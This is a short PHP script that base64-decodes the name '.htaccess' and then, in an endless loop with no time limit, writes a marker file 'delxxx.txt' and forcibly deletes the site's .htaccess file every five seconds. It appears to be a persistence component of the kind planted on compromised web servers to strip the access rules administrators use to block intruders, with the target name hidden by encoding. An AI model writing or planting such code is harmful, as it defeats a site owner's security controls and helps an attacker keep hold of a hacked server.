<?php

set_time_limit(0);

$name = base64_decode("Lmh0YWNjZXNz");

while(true)
{

$fileot="./delxxx.txt";
$fhf=fopen($fileot, "w");
	$dataot=".";
	flock($fhf,LOCK_EX);
	fwrite($fhf, $dataot);
	fflush($fhf);
flock($fhf,LOCK_UN);
fclose($fhf);
	if (file_exists($name))
	{
chmod($name, 0777);
unlink($name);
	}
sleep(5);
}
?>